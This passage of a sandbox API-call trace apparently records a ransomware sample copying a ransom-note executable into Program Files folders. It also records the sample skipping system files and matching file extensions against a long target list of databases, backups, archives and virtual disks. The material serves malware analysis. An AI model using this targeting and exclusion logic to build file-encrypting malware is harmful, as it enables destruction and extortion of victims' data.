lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0094.025] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0094.026] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0094.026] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f15bdb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f15bdb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1 [0094.026] lstrcmpiW (lpString1="10", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0094.026] lstrcmpiW (lpString1="10", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0094.026] lstrcmpiW (lpString1="10", lpString2=".") returned 1 [0094.026] lstrcmpiW (lpString1="10", lpString2="..") returned 1 [0094.026] lstrcmpiW (lpString1="10", lpString2="windows") returned -1 [0094.026] lstrcmpiW (lpString1="10", lpString2="bootmgr") returned -1 [0094.026] lstrcmpiW (lpString1="10", lpString2="temp") returned -1 [0094.026] lstrcmpiW (lpString1="10", lpString2="pagefile.sys") returned -1 [0094.026] lstrcmpiW (lpString1="10", lpString2="boot") returned -1 [0094.026] lstrcmpiW (lpString1="10", lpString2="ids.txt") returned -1 [0094.026] lstrcmpiW (lpString1="10", lpString2="ntuser.dat") returned -1 [0094.026] lstrcmpiW (lpString1="10", lpString2="perflogs") returned -1 [0094.026] lstrcmpiW (lpString1="10", lpString2="MSBuild") returned -1 [0094.026] lstrlenW (lpString="10") returned 2 [0094.026] lstrcpyW (in: lpString1=0x241e8c0, lpString2="10" | out: lpString1="10") returned="10" [0094.026] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c590 [0094.026] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x518d60 [0094.026] lstrcatW (in: lpString1="10", lpString2="\\" | out: lpString1="10\\") returned="10\\" [0094.026] lstrcatW (in: lpString1="10\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="10\\HOW TO BACK YOUR FILES.exe") returned="10\\HOW TO BACK YOUR FILES.exe" [0094.026] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\how to back your files.exe"), bFailIfExists=1) returned 1 [0094.031] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc11e8c40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc11e8c40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0094.031] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0094.031] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc11e8c40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc11e8c40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0094.031] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0094.031] ReleaseMutex (hMutex=0xec) returned 1 [0094.031] CloseHandle (hObject=0xec) returned 1 [0094.031] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Microsoft Office\\Office14" | out: lpString1="C:\\Program Files (x86)\\Microsoft Office\\Office14") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14" [0094.031] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e3c0 | out: hHeap=0x4f0000) returned 1 [0094.031] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c5a8 | out: hHeap=0x4f0000) returned 1 [0094.031] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Office\\Office14") returned 48 [0094.031] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\55D2D4E144E847523A021F14137682DD") returned 0xec [0094.031] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0094.031] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Office\\Office14" | out: lpString1="C:\\Program Files (x86)\\Microsoft Office\\Office14") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14" [0094.031] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0094.031] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\how to back your files.exe"), bFailIfExists=1) returned 0 [0094.032] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0094.032] GetLastError () returned 0x0 [0094.032] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0094.032] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53cd08 [0094.032] ReadFile (in: hFile=0xf4, lpBuffer=0x53cd08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53cd08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0094.033] CloseHandle (hObject=0xf4) returned 1 [0094.033] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53cd08 | out: hHeap=0x4f0000) returned 1 [0094.033] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0094.033] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc1234f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc1234f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0094.033] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0094.033] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0094.033] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0094.033] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc1234f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc1234f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.033] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0094.033] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0094.033] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0094.033] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0094.033] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xba634e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba634e00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0094.033] lstrcmpiW (lpString1="1033", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0094.033] lstrcmpiW (lpString1="1033", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0094.034] lstrcmpiW (lpString1="1033", lpString2=".") returned 1 [0094.034] lstrcmpiW (lpString1="1033", lpString2="..") returned 1 [0094.034] lstrcmpiW (lpString1="1033", lpString2="windows") returned -1 [0094.034] lstrcmpiW (lpString1="1033", lpString2="bootmgr") returned -1 [0094.034] lstrcmpiW (lpString1="1033", lpString2="temp") returned -1 [0094.034] lstrcmpiW (lpString1="1033", lpString2="pagefile.sys") returned -1 [0094.034] lstrcmpiW (lpString1="1033", lpString2="boot") returned -1 [0094.034] lstrcmpiW (lpString1="1033", lpString2="ids.txt") returned -1 [0094.034] lstrcmpiW (lpString1="1033", lpString2="ntuser.dat") returned -1 [0094.034] lstrcmpiW (lpString1="1033", lpString2="perflogs") returned -1 [0094.034] lstrcmpiW (lpString1="1033", lpString2="MSBuild") returned -1 [0094.034] lstrlenW (lpString="1033") returned 4 [0094.034] lstrcpyW (in: lpString1=0x241e8aa, lpString2="1033" | out: lpString1="1033") returned="1033" [0094.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c5a8 [0094.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6c) returned 0x5392c0 [0094.034] lstrcatW (in: lpString1="1033", lpString2="\\" | out: lpString1="1033\\") returned="1033\\" [0094.034] lstrcatW (in: lpString1="1033\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="1033\\HOW TO BACK YOUR FILES.exe") returned="1033\\HOW TO BACK YOUR FILES.exe" [0094.034] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1 [0094.038] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fd50800, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x219f7cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9fd50800, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xd388, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AUTHZAX.DLL", cAlternateFileName="")) returned 1 [0094.038] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0094.038] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0094.038] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2=".") returned 1 [0094.038] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="..") returned 1 [0094.038] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="windows") returned -1 [0094.038] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="bootmgr") returned -1 [0094.038] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="temp") returned -1 [0094.038] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="pagefile.sys") returned -1 [0094.038] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="boot") returned -1 [0094.038] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="ids.txt") returned -1 [0094.038] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="ntuser.dat") returned -1 [0094.038] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="perflogs") returned -1 [0094.038] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="MSBuild") returned -1 [0094.038] lstrlenW (lpString="AUTHZAX.DLL") returned 11 [0094.038] lstrcpyW (in: lpString1=0x241e8aa, lpString2="AUTHZAX.DLL" | out: lpString1="AUTHZAX.DLL") returned="AUTHZAX.DLL" [0094.038] lstrlenW (lpString="AUTHZAX.DLL") returned 11 [0094.038] lstrlenW (lpString="Athena865") returned 9 [0094.038] lstrcmpiW (lpString1="THZAX.DLL", lpString2="Athena865") returned 1 [0094.038] lstrlenW (lpString=".dll") returned 4 [0094.038] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2=".dll") returned 1 [0094.038] lstrlenW (lpString=".lnk") returned 4 [0094.038] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2=".lnk") returned 1 [0094.038] lstrlenW (lpString=".ini") returned 4 [0094.038] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2=".ini") returned 1 [0094.038] lstrlenW (lpString=".sys") returned 4 [0094.038] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2=".sys") returned 1 [0094.038] lstrlenW (lpString="AUTHZAX.DLL") returned 11 [0094.038] lstrlenW (lpString="bak") returned 3 [0094.039] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0094.039] lstrlenW (lpString="ba_") returned 3 [0094.039] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0094.039] lstrlenW (lpString="dbb") returned 3 [0094.039] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0094.039] lstrlenW (lpString="vmdk") returned 4 [0094.039] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0094.039] lstrlenW (lpString="rar") returned 3 [0094.039] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0094.039] lstrlenW (lpString="zip") returned 3 [0094.039] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0094.039] lstrlenW (lpString="tgz") returned 3 [0094.039] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0094.039] lstrlenW (lpString="vbox") returned 4 [0094.039] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0094.039] lstrlenW (lpString="vdi") returned 3 [0094.039] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0094.039] lstrlenW (lpString="vhd") returned 3 [0094.039] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0094.039] lstrlenW (lpString="vhdx") returned 4 [0094.039] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0094.039] lstrlenW (lpString="avhd") returned 4 [0094.039] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0094.039] lstrlenW (lpString="db") returned 2 [0094.039] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0094.039] lstrlenW (lpString="db2") returned 3 [0094.039] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0094.039] lstrlenW (lpString="db3") returned 3 [0094.039] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0094.040] lstrlenW (lpString="dbf") returned 3 [0094.040] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0094.040] lstrlenW (lpString="mdf") returned 3 [0094.040] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0094.040] lstrlenW (lpString="mdb") returned 3 [0094.040] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0094.040] lstrlenW (lpString="sql") returned 3 [0094.040] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0094.040] lstrlenW (lpString="sqlite") returned 6 [0094.040] lstrcmpiW (lpString1="AX.DLL", lpString2="sqlite") returned -1 [0094.040] lstrlenW (lpString="sqlite3") returned 7 [0094.040] lstrcmpiW (lpString1="ZAX.DLL", lpString2="sqlite3") returned 1 [0094.040] lstrlenW (lpString="sqlitedb") returned 8 [0094.040] lstrcmpiW (lpString1="HZAX.DLL", lpString2="sqlitedb") returned -1 [0094.040] lstrlenW (lpString="xml") returned 3 [0094.040] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0094.040] lstrlenW (lpString="$er") returned 3 [0094.040] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0094.040] lstrlenW (lpString="4dd") returned 3 [0094.040] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0094.040] lstrlenW (lpString="4dl") returned 3 [0094.040] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0094.040] lstrlenW (lpString="^^^") returned 3 [0094.040] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0094.040] lstrlenW (lpString="abs") returned 3 [0094.040] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0094.040] lstrlenW (lpString="abx") returned 3 [0094.040] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0094.040] lstrlenW (lpString="accdb") returned 5 [0094.040] lstrcmpiW (lpString1="X.DLL", lpString2="accdb") returned 1 [0094.040] lstrlenW (lpString="accdc") returned 5 [0094.041] lstrcmpiW (lpString1="X.DLL", lpString2="accdc") returned 1 [0094.041] lstrlenW (lpString="accde") returned 5 [0094.041] lstrcmpiW (lpString1="X.DLL", lpString2="accde") returned 1 [0094.041] lstrlenW (lpString="accdr") returned 5 [0094.041] lstrcmpiW (lpString1="X.DLL", lpString2="accdr") returned 1 [0094.041] lstrlenW (lpString="accdt") returned 5 [0094.041] lstrcmpiW (lpString1="X.DLL", lpString2="accdt") returned 1 [0094.041] lstrlenW (lpString="accdw") returned 5 [0094.041] lstrcmpiW (lpString1="X.DLL", lpString2="accdw") returned 1 [0094.041] lstrlenW (lpString="accft") returned 5 [0094.041] lstrcmpiW (lpString1="X.DLL", lpString2="accft") returned 1 [0094.041] lstrlenW (lpString="adb") returned 3 [0094.041] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0094.041] lstrlenW (lpString="adb") returned 3 [0094.041] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0094.041] lstrlenW (lpString="ade") returned 3 [0094.041] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0094.041] lstrlenW (lpString="adf") returned 3 [0094.041] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0094.041] lstrlenW (lpString="adn") returned 3 [0094.041] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0094.041] lstrlenW (lpString="adp") returned 3 [0094.041] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0094.041] lstrlenW (lpString="alf") returned 3 [0094.041] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0094.041] lstrlenW (lpString="ask") returned 3 [0094.041] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0094.041] lstrlenW (lpString="btr") returned 3 [0094.041] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0094.041] lstrlenW (lpString="cat") returned 3 [0094.041] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0094.041] lstrlenW (lpString="cdb") returned 3 [0094.042] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0094.042] lstrlenW (lpString="ckp") returned 3 [0094.042] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0094.042] lstrlenW (lpString="cma") returned 3 [0094.042] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0094.042] lstrlenW (lpString="cpd") returned 3 [0094.042] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0094.042] lstrlenW (lpString="dacpac") returned 6 [0094.042] lstrcmpiW (lpString1="AX.DLL", lpString2="dacpac") returned -1 [0094.042] lstrlenW (lpString="dad") returned 3 [0094.042] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0094.042] lstrlenW (lpString="dadiagrams") returned 10 [0094.042] lstrcmpiW (lpString1="UTHZAX.DLL", lpString2="dadiagrams") returned 1 [0094.042] lstrlenW (lpString="daschema") returned 8 [0094.042] lstrcmpiW (lpString1="HZAX.DLL", lpString2="daschema") returned 1 [0094.042] lstrlenW (lpString="db-journal") returned 10 [0094.042] lstrcmpiW (lpString1="UTHZAX.DLL", lpString2="db-journal") returned 1 [0094.042] lstrlenW (lpString="db-shm") returned 6 [0094.042] lstrcmpiW (lpString1="AX.DLL", lpString2="db-shm") returned -1 [0094.042] lstrlenW (lpString="db-wal") returned 6 [0094.042] lstrcmpiW (lpString1="AX.DLL", lpString2="db-wal") returned -1 [0094.042] lstrlenW (lpString="dbc") returned 3 [0094.042] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0094.042] lstrlenW (lpString="dbs") returned 3 [0094.042] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0094.042] lstrlenW (lpString="dbt") returned 3 [0094.042] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0094.042] lstrlenW (lpString="dbv") returned 3 [0094.042] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0094.042] lstrlenW (lpString="dbx") returned 3 [0094.042] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0094.043] lstrlenW (lpString="dcb") returned 3 [0094.043] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0094.043] lstrlenW (lpString="dct") returned 3 [0094.043] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0094.043] lstrlenW (lpString="dcx") returned 3 [0094.043] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0094.043] lstrlenW (lpString="ddl") returned 3 [0094.043] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0094.043] lstrlenW (lpString="dlis") returned 4 [0094.043] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0094.043] lstrlenW (lpString="dp1") returned 3 [0094.043] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0094.043] lstrlenW (lpString="dqy") returned 3 [0094.043] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0094.043] lstrlenW (lpString="dsk") returned 3 [0094.043] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0094.043] lstrlenW (lpString="dsn") returned 3 [0094.043] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0094.043] lstrlenW (lpString="dtsx") returned 4 [0094.043] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0094.043] lstrlenW (lpString="dxl") returned 3 [0094.043] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0094.043] lstrlenW (lpString="eco") returned 3 [0094.043] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0094.043] lstrlenW (lpString="ecx") returned 3 [0094.043] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0094.043] lstrlenW (lpString="edb") returned 3 [0094.043] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0094.043] lstrlenW (lpString="epim") returned 4 [0094.043] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0094.043] lstrlenW (lpString="fcd") returned 3 [0094.044] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0094.044] lstrlenW (lpString="fdb") returned 3 [0094.044] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0094.044] lstrlenW (lpString="fic") returned 3 [0094.044] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0094.044] lstrlenW (lpString="flexolibrary") returned 12 [0094.044] lstrlenW (lpString="fm5") returned 3 [0094.044] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0094.044] lstrlenW (lpString="fmp") returned 3 [0094.044] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0094.044] lstrlenW (lpString="fmp12") returned 5 [0094.044] lstrcmpiW (lpString1="X.DLL", lpString2="fmp12") returned 1 [0094.044] lstrlenW (lpString="fmpsl") returned 5 [0094.044] lstrcmpiW (lpString1="X.DLL", lpString2="fmpsl") returned 1 [0094.044] lstrlenW (lpString="fol") returned 3 [0094.044] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0094.044] lstrlenW (lpString="fp3") returned 3 [0094.044] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0094.044] lstrlenW (lpString="fp4") returned 3 [0094.044] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0094.044] lstrlenW (lpString="fp5") returned 3 [0094.044] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0094.044] lstrlenW (lpString="fp7") returned 3 [0094.044] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0094.044] lstrlenW (lpString="fpt") returned 3 [0094.044] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0094.044] lstrlenW (lpString="frm") returned 3 [0094.044] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0094.044] lstrlenW (lpString="gdb") returned 3 [0094.044] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0094.044] lstrlenW (lpString="gdb") returned 3 [0094.044] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0094.045] lstrlenW (lpString="grdb") returned 4 [0094.045] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0094.045] lstrlenW (lpString="gwi") returned 3 [0094.045] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0094.045] lstrlenW (lpString="hdb") returned 3 [0094.045] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0094.045] lstrlenW (lpString="his") returned 3 [0094.045] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0094.045] lstrlenW (lpString="ib") returned 2 [0094.045] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0094.045] lstrlenW (lpString="idb") returned 3 [0094.045] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0094.045] lstrlenW (lpString="ihx") returned 3 [0094.045] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0094.045] lstrlenW (lpString="itdb") returned 4 [0094.045] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0094.045] lstrlenW (lpString="itw") returned 3 [0094.045] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0094.045] lstrlenW (lpString="jet") returned 3 [0094.045] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0094.045] lstrlenW (lpString="jtx") returned 3 [0094.045] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0094.045] lstrlenW (lpString="kdb") returned 3 [0094.045] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0094.045] lstrlenW (lpString="kexi") returned 4 [0094.045] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0094.045] lstrlenW (lpString="kexic") returned 5 [0094.045] lstrcmpiW (lpString1="X.DLL", lpString2="kexic") returned 1 [0094.045] lstrlenW (lpString="kexis") returned 5 [0094.045] lstrcmpiW (lpString1="X.DLL", lpString2="kexis") returned 1 [0094.045] lstrlenW (lpString="lgc") returned 3 [0094.045] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0094.046] lstrlenW (lpString="lwx") returned 3 [0094.046] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0094.046] lstrlenW (lpString="maf") returned 3 [0094.046] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0094.046] lstrlenW (lpString="maq") returned 3 [0094.046] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0094.046] lstrlenW (lpString="mar") returned 3 [0094.046] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0094.046] lstrlenW (lpString="marshal") returned 7 [0094.046] lstrcmpiW (lpString1="ZAX.DLL", lpString2="marshal") returned 1 [0094.046] lstrlenW (lpString="mas") returned 3 [0094.046] lstrcmpiW 